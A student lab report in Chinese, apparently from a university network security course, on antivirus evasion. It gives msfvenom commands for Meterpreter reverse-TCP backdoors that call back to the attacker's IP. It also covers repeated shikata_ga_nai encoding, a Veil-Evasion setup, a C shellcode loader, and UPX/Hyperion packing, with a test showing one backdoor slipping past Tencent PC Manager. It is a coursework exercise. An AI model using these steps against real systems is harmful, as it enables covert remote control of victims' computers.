2018-2019-2 网络对抗技术 20165202 Exp3 免杀原理与实践

博客目录

一、基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测:

    杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据已检测出或网络上公布的病毒,对其提取特征码,记录成病毒库,检测到程序时将程序与特征码比对即可判断是否是恶意代码。

  • 启发式恶意软件的检测:

    将一个软件与杀毒软件记录过的恶意软件的行为、代码等等作比对,如果发现相似度达到某一值时,随即判定这个程序为恶意代码,有一定误报可能。

  • 基于行为的恶意软件检测:

    在程序运行的状态下(动态)对其行为进行监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉;
    (2)免杀是做什么?

  • “免杀”的杀是指杀毒软件、病毒搜索检测引擎等,“免杀”是指想要一段程序能够成功避开或者是伪装下通过杀毒软件的检测,进入系统。

(3)免杀的基本方法有哪些?

  • 改变特征码
    • 对exe可执行文件加壳:压缩壳 加密壳
    • 用encode对shellcode进行编码,或者基于payload重新编译生成可执行文件
    • 将源代码用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式:尽量使用反弹式连接,使用隧道技术,加密通讯数据
    • 操作模式:基于内存操作。减少对系统的修改,加入混淆作用的正常功能代码
  • 其他方法
    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 使用社会工程学类攻击,诱骗目标关闭AV软件、点击木马软件
    • 手写一个恶意软件

二、实践内容

环节一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程

1.使用msf编码器msfvenom生成后门程序

  • 使用实验二中指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.129 LPORT=5202 -f exe > 20165202.exe生成后门可执行文件,分别使用使用VirusTotalVirscan这两个网站对生成的后门程序进行扫描。

可以看到如果不加任何处理,后门程序能够被大多数杀软检测到,下面使用msf编码器对后门程序进行一次到多次的编码,并进行检测。

  • 一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.153.129 LPORT=5202 -f exe > met-encoded.exe

  • 十次编码使用命令:-i设置迭代次数
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.153.129 LPORT=5202 -f exe > 5202met-encoded.exe

  • 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

  • 我们发现多次编码对免杀没有太大的效果,原因如下:
    shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软进行特征查杀你就gg了

2.使用msf编码器msfvenom生成jar文件

  • 使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.153.129 LPORT=5202 x> 5202backdoor.jar

  • 生成文件

  • 扫描结果

3.使用veil-evasion生成后门程序及检测

  • 安装veil

  • 使用sudo apt-get install veil-evasion命令安装Veil

  • 之后输入veil打开veil,输入y继续安装直至完成

  • 成功的话,输入veil指令,会出现下面这个界面(很遗憾,在折腾了四个小时后我还是“未展开对象”。尝试update等方法失败后,我选择了拷贝虚拟机,导致后面部分IP变了,sry老师....)

  • use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py使用c语言,进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.199.206,注意此处的IP是KaliIP;

  • 设置端口,命令为:set LPORT 5202

  • 输入generate生成文件,接着输入你想要playload的名字:payload5202

  • 如上图所示,保存路径为/var/lib/veil/output/compiled/payload5202.exe

  • 检测结果

4.C语言调用Shellcode

  • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.206 LPORT=5202 -f c用c语言生成一段shellcode;

    • LHOST:攻击机IP
    • LPORT:反弹连接端口
    • c:生成一个c语言格式的Shellcode数组
  • 创建一个C文件:5202.c,将上面生成的数组copy到该文件下,并加入一个主函数:

unsigned char buf[] = 

生成的shellcode

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用命令:i686-w64-mingw32-g++ 20165202.c -o 20165202.exe编译.c文件为可执行文件;

  • 检测结果如下

5.加壳工具使用

  • 壳主要分为:

    • 压缩壳

      减少应用体积,如ASPack,UPX

    • 加密壳

      版权保护,反跟踪。如ASProtect,Armadillo

    • 虚拟机

      通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

  • 使用压缩壳(UPX)

    • 给20165202.exe加个壳得到5202_upxed.exe:

    • 检测结果

    • 查看连接情况,可以反弹连接

    • 测试是否免杀

  • 加密壳Hyperion

    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

    • 进入目录cd /usr/share/windows-binaries/hyperion/

    • 输入命令wine hyperion.exe -v 5202_upxed.exe 5202_upxed_Hyperion.exe进行加壳:

    • 检测结果

环节二:通过组合应用各种技术实现恶意代码免杀

  • 参考上一环节中upx的使用,通过使用msfvenom获得shellcode,编译生成可执行文件,外套upx壳实现免杀

  • 被控机系统:win10 装有腾讯电脑管家13.3.202版本

环节三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 由于测试ping不成功,我更换了网络和虚拟机网络连接方式。导致IP变为192.168.153.131,我重新获得新的shellcode并做了新的20165202+.exe具体方式还是外套upx

  • 被控机:win7虚拟机 使用腾讯电脑管家13.2版本

  • 无毒 妙阿

  • 来试试回连 也ok?

三、实验遇到的问题及解决方法

1.apt-get损坏

当运行sudo apt-get install/update/或其他命令时,由于各种说不清的原因有时会出现如下提示:

E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不可用)
E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?

参考linux公社下文章Ubuntu E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不可用)进行尝试

第二种无效,第一种我杀了进程有了更大的的问题....

显示apt-get出错,由于出现了太多错误,处理过程被终止了。这可还行???

继续参考 大量dpkg依赖错误使用以下方法

第一步:备份
$ sudo mv /var/lib/dpkg/info /var/lib/dpkg/info.bk
第二步:新建
$ sudo mkdir /var/lib/dpkg/info
第三步:更新
$ sudo apt-get update
$ sudo apt-get -f install
第四步:替换
$ sudo mv /var/lib/dpkg/info/* /var/lib/dpkg/info.bk
//把更新的文件替换到备份文件夹
第五步:删除
$ sudo rm -rf /var/lib/dpkg/info
//把自己新建的info文件夹删掉
第六步:还原
$ sudo mv /var/lib/dpkg/info.bk /var/lib/dpkg/info
//把备份的info.bk还原

终于修复了apt-get...但是,upgrade之后我的veil还是失败了...来我们到第二个问题

2.veil无法安装

我相信很多同学都遇到了这个问题,在尝试了upgrade和apt-get evil-vision等方法无果后...我选了拷贝虚拟机...真香

3.ping不通

这个问题不难,在PKI实验里面也有遇到。更换网络连接方式(nat、桥接模式)即可

四、开启杀软能绝对防止电脑中恶意代码吗?

 不能,通过实践我们不难发现。尽管杀软能够抵御大多数后门偷袭,但是对于一些“隐蔽性强”的后门还是难以做到全面查杀。这也提醒我们一定要提高安全意识,不能只靠杀软保护我们的计算机。

五、实验总结

 通过这次实验可以了解到,实现免杀的技术真的很多很多,模板之类的数不胜数不说,更有很多dalao可以手工编译,瞬间感觉这次试验只是一个幼儿园小朋友的尝试……这个过程中遇到的最大问题就是veil的安装,这部分卡了很多时间,甚至还把我的upgrade搞坏了,虽然最终veil也没有装好,但我却收获了upgrade的修复方法,这何尝不是一种进步呢?体验过才是真的拥有了经验,当别人问我免杀是什么,如何实现的时候,我可以清楚地告诉他我尝试过的方法,有哪些失败与成功,这也是一种收获……
posted @ 2019-03-31 14:39  Haimi98  阅读(188)  评论(0编辑  收藏  举报